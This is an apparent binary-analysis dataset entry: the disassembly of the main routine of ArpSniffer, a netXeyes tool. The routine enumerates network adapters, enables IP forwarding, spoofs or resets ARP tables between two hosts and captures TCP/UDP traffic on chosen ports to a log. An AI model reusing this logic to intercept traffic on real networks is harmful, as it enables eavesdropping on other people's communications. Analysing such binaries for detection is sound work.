Function at 0x402bc0
Capabilities:
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x41ca16
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x638
push ebx
push ebp
mov ebp, dword [esp + 0x650]
push esi
push edi
push ebp
push str._r_nargc:__d
call fcn.00406dd1
mov eax, dword [0x425e64]
add esp, 8
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x14]
xor edi, edi
push str._DEBUG_ANS_Core_Build_0168__by_netXeyes_r_nwww.netXeyes.com___security_vip.sina.com
push ecx
mov dword [esp + 0x658], edi
call fcn.00414f1b
mov edx, dword [esp + 0x1c]
push edx
call fcn.00402b30
lea eax, [esp + 0x54]
lea ecx, [esp + 0x44]
push eax
push ecx
call sub.wpcap.dll_pcap_findalldevs
add esp, 0x14
cmp eax, 0xffffffff
jne 0x402c5e
lea edx, [esp + 0x48]
lea eax, [esp + 0x14]
push edx
push str._DEBUG_Error_in_pcap_findalldevs:__s
push eax
call fcn.00414f1b
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00402b30
add esp, 0x10
push 1
call fcn.00406f12
mov esi, dword [esp + 0x38]
cmp esi, edi
je 0x402d5b
mov bl, 2
mov edx, dword [esi + 4]
lea ecx, [esp + 0x10]
push edx
call fcn.004156ce
push 0x425600
lea ecx, [esp + 0x14]
mov byte [esp + 0x654], 1
call fcn.00414b95
cmp eax, 0xffffffff
je 0x402cc6
inc eax
lea ecx, [esp + 0x10]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.00414a64
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x654], bl
call fcn.0041574d
lea ecx, [esp + 0x1c]
mov byte [esp + 0x650], 1
call fcn.00415660
mov ecx, dword [0x425e64]
mov dword [esp + 0x20], ecx
mov edx, dword [esp + 0x10]
mov byte [esp + 0x650], 3
push edx
call fcn.004027b0
add esp, 4
lea ecx, [esp + 0x20]
push eax
call fcn.0041579d
mov eax, dword [esp + 0x20]
push str.None
push eax
call fcn.00406d22
add esp, 8
test eax, eax
je 0x402d1e
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x14]
push ecx
push edi
push str._DEBUG_NetWork_Adaptor__d:__s
push edx
call fcn.00414f1b
add esp, 0x10
inc edi
mov eax, dword [esp + 0x14]
push eax
call fcn.00402b30
add esp, 4
lea ecx, [esp + 0x20]
mov byte [esp + 0x650], 1
call fcn.00415660
lea ecx, [esp + 0x10]
mov byte [esp + 0x650], 0
call fcn.00415660
mov esi, dword [esi]
test esi, esi
jne 0x402c6c
test edi, edi
jne 0x402d93
lea ecx, [esp + 0x14]
push str._DEBUG_No_interfaces_found__Make_sure_WinPcap_is_installed.
push ecx
call fcn.00414f1b
mov edx, dword [esp + 0x1c]
push edx
call fcn.00402b30
add esp, 0xc
lea ecx, [esp + 0x14]
mov dword [esp + 0x650], 0xffffffff
call fcn.00415660
or eax, 0xffffffff
jmp 0x403548
cmp ebp, 6
jge 0x402dac
lea eax, [esp + 0x14]
push str._DEBUG_Usage:_ArpSniffer__IP1___IP2___Sniffer_TCP_Port___LogFile___NetAdp____RESET_
push eax
call fcn.00414f1b
jmp 0x403158
jle 0x402dd6
mov ebp, dword [esp + 0x65c]
push str._RESET
mov ecx, dword [ebp + 0x18]
push ecx
call fcn.0040b250
add esp, 8
test eax, eax
jne 0x402ddd
mov dword [0x47e524], 1
jmp 0x402ddd
mov ebp, dword [esp + 0x65c]
mov edx, dword [ebp + 0x14]
push edx
call fcn.00406eda
mov esi, dword [esp + 0x3c]
add esp, 4
mov dword [esp + 0x3c], eax
or edi, 0xffffffff
mov bl, 5
mov eax, dword [0x425e64]
mov dword [esp + 0x28], eax
mov ecx, dword [esi + 4]
mov byte [esp + 0x650], 4
push ecx
lea ecx, [esp + 0x14]
call fcn.004156ce
push 0x425600
lea ecx, [esp + 0x14]
mov byte [esp + 0x654], bl
call fcn.00414b95
cmp eax, 0xffffffff
je 0x402e60
inc eax
lea edx, [esp + 0x34]
push eax
push edx
lea ecx, [esp + 0x18]
call fcn.00414a64
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x654], 6
call fcn.0041574d
lea ecx, [esp + 0x34]
mov byte [esp + 0x650], bl
call fcn.00415660
mov eax, dword [esp + 0x10]
push eax
call fcn.004027b0
add esp, 4
lea ecx, [esp + 0x28]
push eax
call fcn.0041579d
mov ecx, dword [esp + 0x28]
push str.None
push ecx
call fcn.00406d22
add esp, 8
test eax, eax
jne 0x402e98
mov eax, dword [esi + 8]
test eax, eax
je 0x402fa1
mov eax, dword [0x425e64]
mov dword [esp + 0x30], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x20]
push edx
push eax
push 0x42aad8
push ecx
mov byte [esp + 0x660], 9
call fcn.00403570
add esp, 0x10
test eax, eax
je 0x402f6f
mov eax, dword [0x425e64]
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
push 0x42aad8
lea ecx, [esp + 0x34]
mov byte [esp + 0x654], 0xb
call fcn.0041574d
lea edx, [esp + 0x2c]
lea eax, [esp + 0x24]
push edx
push eax
push ecx
lea edx, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x50], esp
push edx
call fcn.004153d5
push ecx
lea eax, [esp + 0x40]
mov ecx, esp
mov dword [esp + 0x50], esp
push eax
mov byte [esp + 0x664], 0xc
call fcn.004153d5
mov byte [esp + 0x660], 0xb
call fcn.00403800
add esp, 0x10
test eax, eax
je 0x402f4d
mov eax, dword [esp + 0x3c]
inc edi
cmp edi, eax
je 0x402fce
lea ecx, [esp + 0x2c]
mov byte [esp + 0x650], 0xa
call fcn.00415660
lea ecx, [esp + 0x24]
mov byte [esp + 0x650], 9
call fcn.00415660
lea ecx, [esp + 0x1c]
mov byte [esp + 0x650], 8
call fcn.00415660
lea ecx, [esp + 0x20]
mov byte [esp + 0x650], 7
call fcn.00415660
lea ecx, [esp + 0x30]
mov byte [esp + 0x650], bl
call fcn.00415660
mov esi, dword [esi]
lea ecx, [esp + 0x10]
mov byte [esp + 0x650], 4
call fcn.00415660
lea ecx, [esp + 0x28]
mov byte [esp + 0x650], 0
call fcn.00415660
test esi, esi
je 0x403044
jmp 0x402df6
lea ecx, [esp + 0x2c]
mov byte [esp + 0x650], 0xa
call fcn.00415660
lea ecx, [esp + 0x24]
mov byte [esp + 0x650], 9
call fcn.00415660
lea ecx, [esp + 0x1c]
mov byte [esp + 0x650], 8
call fcn.00415660
lea ecx, [esp + 0x20]
mov byte [esp + 0x650], 7
call fcn.00415660
lea ecx, [esp + 0x30]
mov byte [esp + 0x650], bl
call fcn.00415660
lea ecx, [esp + 0x10]
mov byte [esp + 0x650], 4
call fcn.00415660
lea ecx, [esp + 0x28]
mov byte [esp + 0x650], 0
call fcn.00415660
push 0x400
call fcn.00416148
mov edx, eax
or ecx, 0xffffffff
mov dword [0x42abe0], edx
mov edi, dword [esi + 4]
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x47e524]
test eax, eax
jne 0x4030b3
push 0
push 1
call fcn.00405940
add esp, 8
lea ecx, [esp + 0x14]
push str._DEBUG_Enable_IP_Router....OK
push ecx
call fcn.00414f1b
mov edx, dword [esp + 0x1c]
push edx
call fcn.00402b30
mov eax, dword [0x47e524]
add esp, 0xc
test eax, eax
je 0x4030bf
lea eax, [esp + 0x14]
push str._DEBUG_Reset_ARP_Table.
push eax
jmp 0x4030c9
lea ecx, [esp + 0x14]
push str._DEBUG_Spoof_ARP_Table.
push ecx
call fcn.00414f1b
mov edx, dword [esp + 0x1c]
add esp, 8
push edx
call fcn.00402b30
mov eax, dword [esp + 0x18]
add esp, 4
push eax
push str._r_n_s
call fcn.00406dd1
mov ecx, dword [esp + 0x660]
push ebp
push ecx
call fcn.004019b0
mov eax, dword [0x47e524]
add esp, 0x10
test eax, eax
mov dword [0x42fcf8], 0
je 0x403176
push 0x47ead8
push 0x47eab8
call sub.iphlpapi.dll_UnenableRouter
mov edx, dword [0x47eac8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x14]
push str._DEBUG_Disable_IP_Router....OK
push eax
call fcn.00414f1b
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00402b30
mov edx, dword [esp + 0x20]
add esp, 0xc
push edx
push str._r_n_s
call fcn.00406dd1
add esp, 8
lea ecx, [esp + 0x14]
mov dword [esp + 0x650], 0xffffffff
call fcn.00415660
xor eax, eax
jmp 0x403548
mov ecx, dword [0x42abe0]
lea eax, [esp + 0x548]
push eax
push 0x2710
push 1
push 0x10000
push ecx
call sub.wpcap.dll_pcap_open_live
push 8
mov ebp, eax
call fcn.00416148
mov esi, dword [esp + 0x674]
xor edi, edi
add esp, 0x18
mov dword [0x45f110], edi
mov dword [0x43fd0c], edi
mov edx, dword [esi + 0xc]
mov ebx, eax
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x2c], ebx
call fcn.004156ce
mov eax, dword [esp + 0x18]
mov byte [esp + 0x650], 0xd
mov eax, dword [eax - 8]
cmp eax, edi
jle 0x403232
push str._or
lea ecx, [esp + 0x1c]
call fcn.00414b95
cmp eax, 0xffffffff
jne 0x4031fe
push str._or
lea ecx, [esp + 0x1c]
call fcn.00415861
push 0x4254c4
push str._or
lea ecx, [esp + 0x20]
call fcn.004148b0
push 0x4254c0
push str._port
lea ecx, [esp + 0x20]
call fcn.004148b0
push 0x4254c4
lea ecx, [esp + 0x1c]
call fcn.00415861
push 0x4254c4
lea ecx, [esp + 0x1c]
call fcn.00414b95
mov edi, eax
mov eax, 0xfffe
cmp edi, 0xffffffff
mov dword [0x43fd10], eax
mov dword [0x45f114], eax
je 0x40340d
mov bl, 0xe
lea ecx, [esp + 0x10]
push edi
push ecx
lea ecx, [esp + 0x20]
call fcn.00414b1d
inc edi
lea edx, [esp + 0x3c]
push edi
push edx
lea ecx, [esp + 0x20]
mov byte [esp + 0x658], bl
call fcn.00414a64
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x654], 0xf
call fcn.0041574d
lea ecx, [esp + 0x3c]
mov byte [esp + 0x650], bl
call fcn.00415660
push 0x4254c4
lea ecx, [esp + 0x1c]
call fcn.00414b95
push str.tcp:
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.00414b95
cmp eax, 0xffffffff
je 0x403357
lea esi, [eax + 4]
lea eax, [esp + 0x1c]
push esi
push eax
lea ecx, [esp + 0x18]
call fcn.00414a64
mov ecx, dword [esp + 0x1c]
push 0x4254ac
push ecx
mov byte [esp + 0x658], 0x10
call fcn.00406d22
add esp, 8
test eax, eax
jne 0x403310
mov dword [0x45f114], eax
mov byte [esp + 0x650], bl
lea ecx, [esp + 0x1c]
jmp 0x4033e3
lea edx, [esp + 0x34]
push esi
push edx
lea ecx, [esp + 0x18]
call fcn.00414a64
mov eax, dword [eax]
push eax
call fcn.00406eda
mov ecx, dword [0x45f110]
add esp, 4
mov dword [ecx*4 + 0x45f114], eax
inc ecx
mov dword [0x45f110], ecx
lea ecx, [esp + 0x34]
call fcn.00415660
mov byte [esp + 0x650], bl
lea ecx, [esp + 0x1c]
jmp 0x4033e3
push str.udp:
lea ecx, [esp + 0x14]
call fcn.00414b95
cmp eax, 0xffffffff
je 0x4033e8
lea esi, [eax + 4]
lea eax, [esp + 0x24]
push esi
push eax
lea ecx, [esp + 0x18]
call fcn.00414a64
mov ecx, dword [esp + 0x24]
push 0x4254ac
push ecx
mov byte [esp + 0x658], 0x11
call fcn.00406d22
add esp, 8
test eax, eax
jne 0x4033a1
mov dword [0x43fd10], eax
jmp 0x4033d8
lea edx, [esp + 0x2c]
push esi
push edx
lea ecx, [esp + 0x18]
call fcn.00414a64
mov eax, dword [eax]
push eax
call fcn.00406eda
mov ecx, dword [0x43fd0c]
add esp, 4
mov dword [ecx*4 + 0x43fd10], eax
inc ecx
mov dword [0x43fd0c], ecx
lea ecx, [esp + 0x2c]
call fcn.00415660
mov byte [esp + 0x650], bl
lea ecx, [esp + 0x24]
call fcn.00415660
lea ecx, [esp + 0x10]
mov byte [esp + 0x650], 0xd
call fcn.00415660
cmp edi, 0xffffffff
jne 0x40325c
mov ebx, dword [esp + 0x28]
mov esi, dword [esp + 0x65c]
mov eax, dword [esi + 0x10]
mov ecx, 0x43fd08
push eax
call fcn.0041579d
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x148]
lea edx, [esp + 0x148]
rep stosd dword es:[edi], eax
mov ecx, dword [esi + 0xc]
push ecx
push 0x4254a0
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x148]
push eax
push str._r_nFilter:__s_r_n
call fcn.00406dd1
mov esi, dword [esp + 0x48]
lea ecx, [esp + 0x150]
push esi
push 1
push ecx
push ebx
push ebp
call sub.wpcap.dll_pcap_compile
push ebx
push ebp
call sub.wpcap.dll_pcap_setfilter
push esi
lea edx, [esp + 0x170]
push 1
push edx
push ebx
push ebp
call sub.wpcap.dll_pcap_compile
push ebx
push ebp
call sub.wpcap.dll_pcap_setfilter
add esp, 0x40
lea eax, [esp + 0x14]
push str._DEBUG_Begin_Sniffer.........
push eax
call fcn.00414f1b
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.00402b30
mov edx, dword [esp + 0x44]
push edx
call sub.wpcap.dll_pcap_freealldevs
add esp, 0x10
mov dword [0x43fcfc], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.000000000
mov ecx, 0x42aadc
mov dword [0x42aaa8], eax
call fcn.0041579d
mov eax, dword [0x47e524]
test eax, eax
jne 0x403501
push 0
push 0x4013c0
push 0x1000
push ebp
call sub.wpcap.dll_pcap_loop
mov eax, dword [0x47e524]
add esp, 0x10
test eax, eax
je 0x4034e3
push ebx
call fcn.00416171
mov eax, dword [0x47eac8]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x47e938]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [esp + 0x18]
mov byte [esp + 0x650], 0
call fcn.00415660
lea ecx, [esp + 0x14]
mov dword [esp + 0x650], 0xffffffff
call fcn.00415660
mov ecx, dword [esp + 0x648]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x644
ret